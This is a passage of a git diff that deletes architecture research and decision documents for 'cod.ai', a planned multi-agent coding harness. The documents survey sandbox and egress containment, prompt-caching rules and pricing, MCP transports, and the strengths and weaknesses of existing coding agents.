71-specialist local-first multi-agent fleet on top of the [Pi Coding Agent (`earendil-works/pi`)](https://github.com/earendil-works/pi). It already codifies 5 core pillars: - - Deterministic pre/post tool hooks (`pi-yaml-hooks`, exit-code-2 blocking gates, auto-linters). - - Lazy proxy-mode MCP runtime (`nicobailon/pi-mcp-adapter` v5.4.0+ collapsing schemas into a ~200-token proxy with QuickJS-WASI `mcpScript` execution). - - AST/LSP code intelligence (`@juvio15/pi-ast-grep`, `redhat-et/ripwire` saving ~75% tokens, `nikmmd/pi-lsp-adapter`). - - Isolated child-process RPC subagents (`KristjanPikhof/Pi-Agents-Team` returning only `` blocks). - - Headless browser & visual critique (`vercel-labs/agent-browser`, `amitpatole/agent-vision`). -2. **Proxmox VE Containment Appliances (`Heretek-AI/ProxmoxVE` & `Heretek-AI/Heretek-ProxmoxVE`)**: Audited via both live GitHub inspection ([Heretek-AI/ProxmoxVE](https://github.com/Heretek-AI/ProxmoxVE)) and the attached `antigravity-re-agent-tests.md` specification. These repositories define the production Proxmox LXC (`ct/re-agent.sh`) and Debian 13 KVM (`vm/re-agent-vm.sh`) containment perimeter: - - **OS-Level Sandboxing**: `bubblewrap` (`bwrap --unshare-all --ro-bind / / --dev /dev --proc /proc`) with LXC `features: nesting=1,keyctl=1` or full Debian 13 VM isolation. - - **Network Egress Quarantine (`re-firewall`)**: Dual-stack `iptables` / `ip6tables` (`RE_EGRESS` chain) blocking all direct outbound traffic (`isolate local`) and forcing LLM/MCP traffic through a local Squid/policy proxy at `127.0.0.1:3128` with strict domain allowlisting (e.g., `https://llm.heretek.one/v1`). - - **Daemon & Service Topology**: Systemd-managed services (`re-firewall`, dashboard bound strictly to `127.0.0.1:9119`, API server on port `8642`). -3. **Multi-Agent Team Rigs (`Heretek-AI/openrig` & `Heretek-AI/heretek-rigs`)**: Forked from `mvschwarz/openrig` ([Heretek-AI/openrig](https://github.com/Heretek-AI/openrig)), demonstrating cross-harness orchestration across Claude Code, Codex, and Pi. - ---- - -## 2. Local VM Hardware, Kernel & Runtime Reconnaissance - -Strict execution of `Strict Operational Constraint #1` requires verifying the exact local execution environment rather than assuming capabilities from the prompt persona. Live shell inspection (`uname -a`, `lscpu`, `free -h`, `df -h`, `id`) reveals two distinct operational planes: - -| Environment Attribute | Current Execution Sandbox (Live Audit) | Target Production Appliance (`Heretek-AI/ProxmoxVE` Spec) | Architectural Impact on `cod.ai` | -| :--- | :--- | :--- | :--- | -| **Kernel & Virtualization** | `Linux 4.19.0-gvisor #1 SMP x86_64` (gVisor container sandbox) | Proxmox VE Host (`x86_64`) running Debian 13 VM (`qm`) or LXC (`pct`) | `cod.ai` must abstract its sandbox driver (`SandboxDriver`) to support both rootless gVisor/process isolation (current VM) and `bwrap` + `iptables` (`re-firewall`) on Proxmox VE. | -| **OS Distribution** | Debian GNU/Linux 12 (Bookworm) | Debian 12 / Debian 13 (Trixie) | Target POSIX/Linux standard paths and Debian package conventions. | -| **CPU & Memory** | 2 vCPUs (`0,1`), 5.0 GiB RAM (4.7 GiB available), 0 B Swap | Configurable Proxmox LXC/VM resources | Core orchestrator must have minimal idle memory footprint (<100 MB) to allow parallel sub-agent threads and headless Chromium within 4.7 GiB RAM. | -| **Storage & Filesystem** | 20 GiB writable at `/working_dir` and `/home/spark` (18 GiB free); root `/` is read-only | Local ZFS/LVM storage (`/work/cases`, `/opt/*`, `/etc/pve/*`) | All repository files, git worktrees, SQLite WAL state, and `/docs` must reside inside the workspace root (`/working_dir/c_80e02215eb2f8d86/`), with configurable root path overrides. | -| **User & Privileges** | `uid=1235(spark)`, non-root, no passwordless `sudo`, outbound network disabled in shell | `root` (provisioning/firewall) + `analyst` unprivileged user | Do not hardcode `sudo` in core agent loops; use user-space policy proxy and modular containment drivers. | -| **Installed Runtimes** | **Python 3.11.2** (`fastapi`, `httpx`, `pydantic`, `selenium`, `rich`, `click`, `pytest` via unittest, `sqlite3` 3.40.1), **Node.js v18.20.4** (`npm` 9.2.0), **GCC 12.2.0 / G++ 12.2.0**, **Git 2.39.5** (`git worktree` verified), **Chromium 155.0.8059.79**, **tmux** | **Node.js v22**, **Python 3.11+**, **Java 21**, `bwrap`, `iptables`, `squid` (`127.0.0.1:3128`) | **Critical Discovery**: `@earendil-works/pi-coding-agent` requires **Node.js >= 22.19**, while the current sandbox VM has **Node.js v18.20.4** and **Python 3.11.2**. `cod.ai` must either run natively on Python 3.11+ / Node 18+ or provide a zero-dependency core that bridges seamlessly with Pi v1.2+ on Node 22 in production. | - ---- - -## 3. Live Ecosystem OSINT: Anthropic Messages API & Prompt Caching (October 2026 Specs) - -Live verification of the official [Anthropic Prompt Caching Documentation](https://platform.claude.com/docs/en/build-with-claude/prompt-caching), [Context Windows Documentation](https://platform.claude.com/docs/en/build-with-claude/context-windows), [Tool Search Tool Documentation](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool), and [Mid-Conversation System Messages & Tool Changes Documentation](https://platform.claude.com/docs/en/build-with-claude/mid-conversation-system-messages) establishes the exact mathematical and protocol rules for `cod.ai`: - -### 3.1 Active Model Lineup, Context Windows & Minimum Cacheable Thresholds -As of October 2026, Anthropic's model catalog has expanded to the Claude 4.5–5.5 / Fable / Mythos generations alongside the 4.5 series ([Prompt Caching Docs](https://platform.claude.com/docs/en/build-with-claude/prompt-caching), [Context Windows Docs](https://platform.claude.com/docs/en/build-with-claude/context-windows)): - -| Model Identifier | Context Window | Max Output | Base Input / Output ($/MTok) | 5m Cache Write ($/MTok) | 1h Cache Write ($/MTok) | Cache Read / Hit ($/MTok) | Min Cacheable Tokens | -| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | -| **Claude Fable 5.1 / Mythos 5.1** (`claude-fable-5-1`) | 1,000,000 | 128,000 | $10.00 / $50.00 | $12.50 (1.25x) | $20.00 (2.0x) | **$0.25 (0.025x)** | **512 tokens** | -| **Claude Opus 5.5** (`claude-opus-5-5`) | 1,000,000 | 128,000 | $4.00 / $20.00 | $5.00 (1.25x) | $8.00 (2.0x) | **$0.20 (0.05x)** | **512 tokens** | -| **Claude Sonnet 5.5** (`claude-sonnet-5-5`) | 1,000,000 | 128,000 | $2.00 / $10.00 | $2.50 (1.25x) | $4.00 (2.0x) | **$0.10 (0.05x)** | **512 tokens** | -| **Claude Haiku 5.5** (`claude-haiku-5-5`) | 1,000,000 | 128,000 | $0.10 (≤100K) / $0.50 | $0.125 (1.25x) | $0.20 (2.0x) | **$0.01 (0.10x)** | **512 tokens** | -| **Claude Opus 4.8** (`claude-opus-4-8`) | 1,000,000 | 128,000 | $5.00 / $25.00 | $6.25 (1.25x) | $10.00 (2.0x) | $0.50 (0.10x) | **1,024 tokens** | -| **Claude Opus 4.7** (`claude-opus-4-7`) | 1,000,000 | 128,000 | $5.00 / $25.00 | $6.25 (1.25x) | $10.00 (2.0x) | $0.50 (0.10x) | **2,048 tokens** | -| **Claude Opus 4.6 / 4.5** (`claude-opus-4-6`, `claude-opus-4-5`) | 1M (4.6) / 200K (4.5) | 128K / 64K | $5.00 / $25.00 | $6.25 (1.25x) | $10.00 (2.0x) | $0.50 (0.10x) | **4,096 tokens** | -| **Claude Sonnet 5 / 4.6 / 4.5** (`claude-sonnet-4-6`) | 1M (5, 4.6) / 200K (4.5) | 128K / 64K | $2.00–$3.00 / $10–$15 | $2.50–$3.75 | $4.00–$6.00 | $0.20–$0.30 (0.10x) | **1,024 tokens** | -| **Claude Haiku 4.5** (`claude-haiku-4-5`) | 200,000 | 64,000 | $1.00 / $5.00 | $1.25 (1.25x) | $2.00 (2.0x) | $0.10 (0.10x) | **4,096 tokens** | - -*Key Verification Note*: While the user prompt notes minimum thresholds of $1,024+$ for Sonnet/Opus and $2,048+$ for Haiku (which held for earlier 3.5/4.0 generations), live OSINT proves that **Claude Opus 4.5/4.6 and Haiku 4.5 actually require 4,096 tokens**, **Opus 4.7 requires 2,048 tokens**, **Sonnet 4.5/4.6/5 and Opus 4.8 require 1,024 tokens**, and **5.5-generation models require 512 tokens** ([Prompt Caching Limitations](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)). Therefore, `cod.ai`'s Cache-Control Assembler must maintain a **model-aware threshold table** (enforcing $\ge 4,096$ tokens when targeting Opus 4.5/4.6 or Haiku 4.5, and $\ge 1,024$ / $2,048$ / $512$ dynamically per model ID) so cache breakpoints never silently fail! - -### 3.2 Prefix Hash Hierarchy, 20-Block Lookback Window & TTL Mechanics -1. **Strict Prefix Ordering**: Anthropic hashes prompts in the exact sequence: `tools` $ ightarrow$ `system` $ ightarrow$ `messages` ([Prompt Caching Structure](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)). Any byte modification in `tools` invalidates `tools`, `system`, and `messages`. Any modification in `system` invalidates `system` and `messages`. -2. **Up to 4 Explicit Breakpoints + Automatic Caching**: The API supports up to 4 explicit `cache_control: {"type": "ephemeral"}` block breakpoints (plus optional `"ttl": "1h"`), or top-level automatic caching. -3. **The 20-Block Lookback Window**: When checking a breakpoint, the API walks backward at most **20 blocks** from the breakpoint to find a prior cache write ([Automatic Prefix Checking](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)). Consecutive `tool_use` or `tool_result` blocks count as 1 position. If a turn adds $>20$ blocks without an intermediate breakpoint, the lookback misses! -4. **5-Minute TTL Measurement Trap**: The 300-second (5-minute) lifetime is measured from the **start of the request** that writes or reads the cache entry, **not** from the end of streaming ([How Prompt Caching Works](https://platform.claude.com/docs/en/build-with-claude/prompt-caching)). If an Architect turn takes 180 seconds to stream, the user has only **120 seconds** remaining before the prefix expires! -5. **Thinking Block Preservation**: On Opus 4.5+, Sonnet 4.6+, and Haiku 5.5, previous thinking blocks are preserved in context by default and cached alongside assistant turns. Modifying or dropping a preserved thinking block (or altering a message before it) invalidates the cache from that position onward and triggers a cryptographic signature validation error. - -### 3.3 Deferred Tool Loading (`ToolSearch`) & Mid-Conversation System/Tool Injection -Anthropic now provides two complementary cache-preserving mechanisms that `cod.ai` must support in tandem: -1. **Native `defer_loading: true` + `ToolSearch` (`tool_search_tool_regex_20251119` / `tool_search_tool_bm25_20251119`)**: - - Tools marked with `"defer_loading": true` in the top-level `tools` array are **excluded from the initial system-prompt prefix** ([Tool Search Tool Docs](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool)). - - At least one non-deferred tool (e.g., the `ToolSearch` tool plus the 4–5 core file primitives) must remain `defer_loading: false` and carry the `cache_control` breakpoint (since a tool with `defer_loading: true` cannot carry `cache_control`). - - When the model searches, the API (or custom client-side handler) returns `tool_reference` blocks inside `tool_result`, expanding the full schema inline at the tail of Layer 3 without touching Layer 1! -2. **Mid-Conversation `role: "system"` Messages & `tool_addition` (`inline-tools-2026-09-15`)**: - - On Opus 4.8/5/5.5, Sonnet 5.5, Haiku 5.5, and Fable/Mythos, appending `{"role": "system", "content": "..."}` (with optional `clear_at: "next_user_message"` under beta header `mid-conversation-system-clear-at-2026-08-21`) or `tool_addition` blocks (`inline-tools-2026-09-15`) injects operator-level rules or dynamic MCP schemas at the end of `messages` with zero prefix cache invalidation ([Mid-Conversation System Messages Docs](https://platform.claude.com/docs/en/build-with-claude/mid-conversation-system-messages)). - - For universal compatibility across all models (including Sonnet 4.5/4.6/5 and OpenAI-compatible local endpoints like `llm.heretek.one`), `cod.ai` also supports injecting `` tags inside the final user/tool-result turn in Layer 3. - ---- - -## 4. Live Ecosystem OSINT: Model Context Protocol (MCP) Specifications - -Inspection of the latest [Model Context Protocol (MCP) Specification (Version 2026-07-28)](https://modelcontextprotocol.io/specification/2026-07-28/basic/transports) confirms: -1. **`stdio` Transport**: Client launches the MCP server as a subprocess and exchanges UTF-8 newline-delimited JSON-RPC 2.0 messages over `stdin`/`stdout`. Cancellation uses `notifications/cancelled`. Custom local transports over Unix domain sockets or TCP should reuse `stdio` newline-delimited JSON-RPC framing. -2. **`Streamable HTTP` Transport (replaces legacy dual-endpoint HTTP+SSE from `2024-11-05`)**: - - Introduced in `2025-03-26` and refined in `2026-07-28`, every client message is an HTTP `POST` to a **single MCP endpoint**. - - Replies arrive either as a single JSON object (`application/json`) or a request-scoped Server-Sent Events (`text/event-stream`) stream. - - Protocol version and capabilities travel in `_meta.io.modelcontextprotocol/*` inside the JSON-RPC body and are mirrored into HTTP headers for proxy inspection. - - Cancellation is signaled by closing the request's response stream or sending `notifications/cancelled`. - - Backward compatibility with legacy `2024-11-05` HTTP+SSE servers requires probing `POST` first and falling back to `GET` SSE endpoint discovery if a `4xx` is returned. - ---- - -## 5. Live Ecosystem OSINT: Open-Source Coding Harnesses Audit - -We audited six major coding harnesses against how they assemble prompts, manage context windows, load tools, and isolate sub-agents: - -1. **Claude Code CLI/SDK (Anthropic, v2.1.220 / March–July 2026 Source Analysis)**: - - **Prompt Assembly**: Assembles a 3-layer stack ordered by volatility: Layer 1 (System prompt ~4,200 tokens + core tools + `ToolSearch`), Layer 2 (`CLAUDE.md` hierarchy injected as a user message after the system prompt), and Layer 3 (append-only conversation history with `` tags for file edits and mode changes) ([Inside the Claude Code Harness](https://rohitghumare.com/blog/inside-the-claude-code-harness/), [Dive into Claude Code arXiv:2604.14228v3](https://arxiv.org/html/2604.14228v3)). - - **Compaction**: Implements a 5-stage pipeline (Snip compact $ ightarrow$ Microcompact stripping old tool results $ ightarrow$ Context collapse $ ightarrow$ Auto-compact structured 9-section `` with `` scratchpad stripped $ ightarrow$ Reactive emergency compact). - - **Flaws / Limitations for `cod.ai`**: Proprietary closed-source license; its default `01_main_system_prompt.md` enforces rigid anti-abstraction rules ("no unasked helpers", "three similar lines over premature abstraction") that cripple greenfield system design; furthermore, its aggressive Stage 1/2 micro-compaction mutates middle-of-history tool results if not aligned with cache breakpoints. -2. **Pi Coding Agent (`@earendil-works/pi-coding-agent` / `@mariozechner/pi-coding-agent` v1.2.0+) + `@heretek-ai/pi-configs`**: - - **Prompt Assembly**: Ultra-minimal ~20-line static system prompt with **zero timestamps, dates, or random tokens** in the prefix ([Inside the Pi Harness](https://rohitghumare.com/blog/inside-the-pi-harness/), [earendil-works/pi README](https://github.com/earendil-works/pi/blob/main/packages/coding-agent/README.md)). Walks ancestor directories for `AGENTS.md`/`CLAUDE.md` with git worktree deduplication. - - **DAG Session Tree (`session.jsonl`)**: Stores every turn as a tree node (`id`, `parentId`). Rewinding or branching (`/tree`) simply moves the active leaf pointer without deleting history or invalidating the cached prefix prior to the branch point! - - **Cache Telemetry ("The Meter")**: Tracks exact `Cache Re-billed: $X (Y tokens, Z misses)` and attributes causes (`cache miss after model switch`, `cache miss after 12m idle`). Sends one-shot compaction summaries with caching disabled (`skipCacheWrite`) and a fresh session ID. - - **Additive Tool Loading**: Supports `defer_loading` + `tool_reference` on Anthropic and `nicobailon/pi-mcp-adapter` (~200-token proxy tool + QuickJS-WASI `mcpScript` execution in `@heretek-ai/pi-configs`). - - **Flaws / Limitations for `cod.ai`**: Core Pi deliberately omits built-in permission classifiers ("no permission system at all"), native sub-agent coordinators, Dual-Polarity Architect vs. Implementer prompt switching, and the 5-minute TTL active keep-alive scheduler—relying entirely on external extensions (`@heretek-ai/pi-configs`) and requiring Node.js $\ge 22.19$. -3. **OpenCode (`anomalyco/opencode` / `sst/opencode`)**: - - **Architecture**: Client-server TypeScript runtime with TUI and `task` subagent tool ([Inside OpenCode](https://medium.com/@falexm/inside-opencode-understanding-the-architecture-behind-the-ai-runtime-01236d9370ff)). - - **Critical Cache Bug Confirmed via Live OSINT**: Issue [#58485 (`Moving plan/build reminders invalidate the prompt cache and increase API costs`)](https://github.com/anomalyco/opencode/issues/58485) (filed October 23, 2026) proves that OpenCode moves/mutates plan and build reminder blocks across turns, invalidating the prompt cache and spiking API costs. -4. **NousResearch Hermes Agent (`NousResearch/hermes-agent`)**: - - **Architecture**: Python-based agent (`hermes_state_*.py`, SQLite WAL state, `bubblewrap` terminal backend, `holographic` memory provider) used in `Heretek-AI/ProxmoxVE` (`ct/re-agent.sh`). - - **Flaws / Limitations for `cod.ai`**: Built as a general-purpose persistent assistant/reverse-engineering agent rather than a dual-polarity software architecture and surgical coding harness; lacks native `ToolSearch` `tool_reference` expansion and strict 3-layer byte-identical prefix guarantees. -5. **Aider (`Aider-AI/aider`)**: - - **Architecture**: Python CLI using Tree-sitter PageRank Repository Maps ([Aider Repo Map](https://aider.chat/docs/repomap.html)) and `--cache-prompts` with optional `--cache-keepalive-pings` ([Aider Prompt Caching](https://aider.chat/docs/usage/caching.html)). - - **Flaws / Limitations for `cod.ai`**: Dynamically recalculates and mutates the repo map and active file list inside the prompt prefix as files are added/dropped, frequently invalidating the cache; lacks MCP `ToolSearch`, multi-agent clean-context spawning, and headless daemon concurrency. -6. **Cline (`cline/cline`)**: - - **Architecture**: VS Code extension with `ContextManager` and `FileContextTracker` ([Dissecting Cline Context Management](https://medium.com/@balajibal/dissecting-cline-cline-context-management-260aec3d84cb)). - - **Flaws / Limitations for `cod.ai`**: Coupled to VS Code GUI; injects all MCP tool definitions upfront into the system prompt (confirmed in [Cline Discussion #8578](https://github.com/cline/cline/discussions/8578)), causing massive schema bloat and cache invalidation whenever MCP servers connect. diff --git a/docs/01_harness_decision_matrix.md b/docs/01_harness_decision_matrix.md deleted file mode 100755 index 91ee716..0000000 --- a/docs/01_harness_decision_matrix.md +++ /dev/null @@ -1,105 +0,0 @@ -# Phase 1: Harness Architecture Evaluation & Selection (`cod.ai`) - -**Document ID:** `01_harness_decision_matrix.md` -**Target Repository:** [Heretek-AI/cod.ai](https://github.com/Heretek-AI/cod.ai) -**Date:** October 24, 2026 -**Status:** Architecture Decision Record (ADR-001) — Ready for Review - ---- - -## 1. Executive Summary: Build Custom `cod.ai` Core Unifying Pi's DAG/Extension Protocol with Claude Code's 3-Layer Cache & Verification Engine - -Every candidate open-source and proprietary coding harness discovered during Phase 0 was evaluated against our **Six Non-Negotiable Architectural Invariants**. **No existing standalone harness satisfies all 6 invariants out of the box without invasive patching.** However, **[Pi (`@earendil-works/pi-coding-agent`)](https://github.com/earendil-works/pi) combined with Heretek-AI's own [`@heretek-ai/pi-configs`](https://pi.dev/packages/@heretek-ai/pi-configs)** comes remarkably close—solving append-only tree transcripts (`session.jsonl`), zero-noise static system prompts, cache re-billing telemetry, and lazy ~200-token MCP proxy adapters (`pi-mcp-adapter`). - -In strict compliance with our **Build-vs-Buy Mandate (Constraint #2)**, we will **build `cod.ai`'s Core Orchestration Engine from scratch** while adopting **Pi's JSONL DAG Session Tree format (`id`/`parentId`), Cache Re-billing Meter arithmetic, and `@heretek-ai/pi-configs` Specialist Charter/Hook compatibility** as first-class native primitives. - ---- - -## 2. Evaluation Against the Six Non-Negotiable Architectural Invariants - -| Architectural Invariant | **Pi (`earendil-works/pi`) + `@heretek-ai/pi-configs`** | **Claude Code CLI (`v2.1.220`)** | **OpenCode (`anomalyco/opencode`)** | **Hermes Agent (`NousResearch`)** | **Aider (`Aider-AI/aider`)** | **Cline (`cline/cline`)** | **`cod.ai` Custom Core (Proposed)** | -| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | -| **1. Byte-Identical Static Prefix Guarantee** (Layer 1 System + Layer 2 `CLAUDE.md`/`AGENTS.md` + Layer 3 Dynamic) | **PASS (Core) / PARTIAL (Mode Switch)**: 20-line static prompt with zero timestamps ([Inside the Pi Harness](https://rohitghumare.com/blog/inside-the-pi-harness/)). However, switching specialist charters via `/specialist` mutates the system prompt unless isolated in sub-processes. | **PASS**: Strict 3-layer stack; `CLAUDE.md` in Layer 2 user message; `` in Layer 3 ([Inside the Claude Code Harness](https://rohitghumare.com/blog/inside-the-claude-code-harness/)). (Proprietary/Closed). | **FAIL**: Moving plan/build reminders mutates earlier message positions and busts the prompt cache ([Issue #58485](https://github.com/anomalyco/opencode/issues/58485)). | **PARTIAL**: State mutations (`hermes_state_prune_rewrite.py`) can rewrite transcript history in place. | **FAIL**: Dynamic repo-map updates and `/add` or `/drop` file edits mutate the cached prefix ([Aider Caching](https://aider.chat/docs/usage/caching.html)). | **FAIL**: Rebuilds system prompt with dynamic environment/file state on configuration changes ([Cline #8578](https://github.com/cline/cline/discussions/8578)). | **100% NATIVE PASS**: Immutable Layer 1 + Layer 2 with cryptographic SHA-256 prefix lock; mid-session updates strictly via Layer 3 `role: "system"` (`clear_at`) or ``. | -| **2. Deferred Tool Schema Loading (`ToolSearch` Pattern)** | **PASS**: Native `defer_loading` + `tool_reference` support on Anthropic, plus `pi-mcp-adapter` (~200-token proxy + QuickJS `mcpScript`) in [`@heretek-ai/pi-configs`](https://pi.dev/packages/@heretek-ai/pi-configs). | **PASS**: Native `ToolSearch` (`defer_loading: true`) and `inline-tools-2026-09-15` ([Tool Search Docs](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool)). | **FAIL**: Injects enabled MCP tool schemas directly into the initial request payload. | **PARTIAL**: Supports optional MCP plugins (`optional-mcps`), but lacks native `tool_reference` expansion. | **FAIL**: Does not support MCP `ToolSearch` deferred schema loading. | **FAIL**: Injects all MCP tool schemas into the system prompt upfront ([Cline #8578](https://github.com/cline/cline/discussions/8578)). | **100% NATIVE PASS**: Dual support for Anthropic `ToolSearch` (`defer_loading: true` + `tool_reference`) AND client-side BM25/Regex `ToolSearch` + `tool_addition` for local/OpenAI endpoints. | -| **3. Dual-Polarity Mode Switching (Architect vs. Surgical Implementer)** | **PARTIAL**: Core Pi has no built-in plan/architect mode ("anti-feature"); `@heretek-ai/pi-configs` has `system-architect` and language specialists, but lacks the iterative $>100$-line `` drafting loop. | **FAIL**: Hardcodes anti-overengineering rules ("no unasked helpers", "three similar lines over premature abstraction") in `01_main_system_prompt.md`. | **PARTIAL**: Has Plan vs. Build mode, but mode reminders break prompt cache ([Issue #58485](https://github.com/anomalyco/opencode/issues/58485)) and lack `claude.ai` Artifact synthesis rules. | **FAIL**: Single general-purpose agent polarity (`SOUL.md`). | **PARTIAL**: Has `/architect` + editor dual-model mode, but relies on lossy Tree-sitter repo maps rather than full-context synthesis. | **PARTIAL**: Plan/Act toggle exists, but shares a bloated tool-heavy system prompt. | **100% NATIVE PASS**: Mode A (Holistic Web Architect with zero-tool-noise $n^2$ attention, GOAL framing, Skills Playbooks, $>100$-line iterative loop) + Mode B (Surgical CLI Implementer + `COD_SIMPLE=true`). | -| **4. Attention Budget Governor ($60 ext{--}80\%$ Target)** | **PARTIAL**: Displays exact token meter and compacts within 16,384 tokens of window limit (~92% on 200K), which is above the 60–80% context-rot ceiling. | **PARTIAL**: 5-layer compaction pipeline, but exact trigger threshold is opaque and nears capacity before auto-compacting ([arXiv:2604.14228v3](https://arxiv.org/html/2604.14228v3)). | **FAIL**: Truncates or compacts late near context overflow. | **PARTIAL**: Has `hermes_state_compression.py` and holographic memory, but not governed at a strict 60–80% full-context ceiling. | **FAIL**: Aggressively compresses codebase into a tiny Tree-sitter repo map (often <10K tokens) even when 500K–1M context is available. | **FAIL**: Reactive sliding-window truncation when approaching context window limit. | **100% NATIVE PASS**: Real-time token governor enforcing full in-context $n^2$ loading up to 60% soft / 75% hard ceiling, triggering `project_knowledge_search` and Two-Tier Compaction before 80%. | -| **5. Multi-Agent Clean-Context Spawning** | **PASS (via Extension)**: Core Pi omits sub-agents, but `@heretek-ai/pi-configs` uses `Pi-Agents-Team` child-process RPC returning only `` blocks ([`@heretek-ai/pi-configs`](https://pi.dev/packages/@heretek-ai/pi-configs)). | **PASS**: Spawns isolated sub-agents (`Explore`, `Verification`) returning summary-only text ([arXiv:2604.14228v3](https://arxiv.org/html/2604.14228v3)). | **PARTIAL**: `task` tool spawns sub-sessions, but lacks git worktree isolation and adversarial spot-check gates. | **PARTIAL**: Worker pool (`hermes_state_runtime_workers.py`), but lacks read-only `Explore` (>3 Glob/Grep trigger) and `07_verification_agent.md` rules. | **FAIL**: Single-threaded interactive CLI loop. | **FAIL**: Single-window VS Code extension loop (experimental sub-tasks lack git worktree isolation). | **100% NATIVE PASS**: Native `/goal` Git Worktree Coordinator, auto-triggered Read-Only `Explore` sub-agent (>3 queries $ ightarrow$ 1–2K brief), `Compact Service`, and Adversarial Verifier with lead spot-check. | -| **6. Headless & Multi-Session Concurrency** | **PASS**: Supports CLI, JSON, print, RPC, and TypeScript SDK modes (`earendil-works/pi`), though remote CBOR server is marked experimental. | **PASS**: Headless CLI (`-p` / SDK) supporting concurrent processes. | **PASS**: Client-server HTTP/SSE daemon architecture. | **PASS**: Headless daemon, gateway, and CLI (`hermes-dashboard`). | **PARTIAL**: CLI-first; scriptable but not a multi-session RPC daemon. | **FAIL**: Coupled to VS Code GUI extension host. | **100% NATIVE PASS**: Headless async daemon + CLI + JSON-RPC/HTTP-SSE server supporting parallel git-worktree sessions, 5-min TTL heartbeat scheduler, and local policy proxy. | - ---- - -## 3. Deep-Dive Architectural Synthesis: Why We Build `cod.ai` Core with Native Pi Compatibility - -### 3.1 What We Adopt Directly from Pi (`earendil-works/pi`) & `@heretek-ai/pi-configs` -Your intuition to look into **Pi** is spot-on. Our OSINT revealed two critical facts: -1. **Pi's Core Design Philosophy is Cache Stability**: As documented in [Inside the Pi Harness](https://rohitghumare.com/blog/inside-the-pi-harness/), Pi is built around a single axiom: *"A harness is a machine for keeping prefixes stable."* Specifically: - - **Append-Only JSONL Tree (`session.jsonl`)**: Every message entry has an `id` and `parentId`. Branching, rewinding, or switching from Architect exploration to surgical implementation is achieved by moving the active leaf pointer or branching from a common ancestor node—preserving 100% of the cached prefix before the branch point. - - **Cache-Aware Refusal to Mutate Mid-Transcript**: Pi proved mathematically that deleting a 2,000-token tool output from the middle of a 150,000-token conversation forces the provider to re-bill all 148,000 subsequent tokens at the uncached rate: - $$\text{Rewrite Cost} \approx T_{\text{surviving}} \times (P_{\text{uncached}} - P_{\text{cache\_read}}) \gg \text{Per-Turn Savings} \approx T_{\text{pruned}} \times P_{\text{cache\_read}}$$ - Therefore, Stage 1 **Micro-Compaction** in `cod.ai` must ONLY prune tool outputs that sit **after the last cached prefix breakpoint** (or batch-prune at the exact moment a new cache breakpoint or Stage 2 compaction occurs), never mutating tokens behind an active cache breakpoint! - - **The "Cache Re-billed" Telemetry Meter**: Tracking exact dollar and token losses from TTL expirations (`cache miss after >5m idle`) and model switches. -2. **Existing Heretek-AI Investment (`@heretek-ai/pi-configs`)**: Heretek-AI published `@heretek-ai/pi-configs` v1.2.0 on October 24, 2026 ([pi.dev/packages/@heretek-ai/pi-configs](https://pi.dev/packages/@heretek-ai/pi-configs)) with 71 specialist charters (`AGENTS.md`, `.pi/settings.json`, `.pi/hook/hooks.yaml`, `.pi/skills/*/SKILL.md`). - -### 3.2 Why Core Pi Alone Cannot Be Used Unmodified (The 4 Gaps) -Despite Pi's strengths, using unmodified `@earendil-works/pi-coding-agent` as the sole foundation violates Constraint #2 in four specific areas: -1. **Runtime Constraint in Current VM**: Upstream `@earendil-works/pi-coding-agent` requires **Node.js $\ge 22.19$** ([earendil-works/pi README](https://github.com/earendil-works/pi/blob/main/packages/coding-agent/README.md)), whereas our current VM environment has **Python 3.11.2** and **Node.js v18.20.4** (with outbound package installation disabled). -2. **No Built-In 2-Stage Security Classifier or Proxy**: Pi explicitly treats permissions as an "anti-feature" ("There is no permission system at all; the boundary is the container you run it in"). `cod.ai` Phase 5 requires a built-in **2-Stage Auto-Mode Security Classifier** (`12_yolo_auto_mode_classifier.md` + `17_auto_mode_critique.md`) and a credential-isolating **Tool-Call Inspection Proxy**. -3. **No Dual-Polarity Holistic Architect Engine**: Core Pi uses a 20-line CLI prompt. It does not natively implement **Mode A ("Holistic Web Architect")** with zero-tool-noise $n^2$ attention, `` iterative $>100$-line section-by-section drafting (`Outline -> Section Generation -> Review -> Final`), and GOAL XML framing. -4. **Late Compaction Threshold (~92% vs. 60–80% Attention Budget Governor)**: Core Pi triggers compaction within 16,384 tokens of the context limit, whereas `cod.ai` mandates an **Attention Budget Governor** targeting $60 ext{--}80\%$ capacity combined with Claude Code's 9-section `` (`21_compact_service.md`) and top-5 recently accessed file restoration. - ---- - -## 4. Decision Gate Verdict & Runtime Selection - -### Verdict: **BUILD CUSTOM CORE (`cod.ai`) WITH NATIVE PI-TREE & `@heretek-ai/pi-configs` INTEROPERABILITY** - -1. **Primary Implementation Language**: **Python 3.11+ (`asyncio` + `httpx` + `pydantic` + `fastapi`/`uvicorn` + `sqlite3` WAL + `rich`)**, with a companion **TypeScript/Node.js Bridge CLI & Extension Loader** compatible with both Node 18+ (local sandbox) and Node 22+ (`@earendil-works/pi-coding-agent` / `@heretek-ai/pi-configs` in Proxmox production). - - *Why Python 3.11+ for the Core Daemon & Engine*: Verified present in both the current VM (`Python 3.11.2` with `fastapi`, `httpx`, `pydantic`, `rich`, `click`, `sqlite3` 3.40.1, `selenium`/Chromium) and the target Proxmox VE appliance (`/opt/re-tools-venv`). It allows us to execute, test, and adversarially verify 100% of Phases 2, 3, 4, and 5 immediately inside this VM with zero external dependencies. - - *Why Native Pi Interoperability*: `cod.ai` will natively read and write Pi's `session.jsonl` tree format (`id`, `parentId`, `retainedTail`) and natively load `@heretek-ai/pi-configs` specialist directories (`agents//AGENTS.md`, `.pi/settings.json`, `.pi/hook/hooks.yaml`, `.pi/skills//SKILL.md`), allowing all 71 Heretek-AI specialists to run inside `cod.ai`'s Dual-Polarity, Cache-Governed, Proxy-Contained engine! - ---- - -## 5. Target `cod.ai` Architecture Blueprint (Phases 2–5) - -``` -+--------------------------------------------------------------------------------------------------+ -| cod.ai Headless Daemon & CLI | -| (Asyncio Core + FastAPI/JSON-RPC Daemon + Pi Tree Session DAG) | -+--------------------------------------------------------------------------------------------------+ - | | | - v v v -+-------------------+ +-------------------+ +------------------+ -| PHASE 2: PROMPT | | PHASE 3: CONTEXT | | PHASE 4: 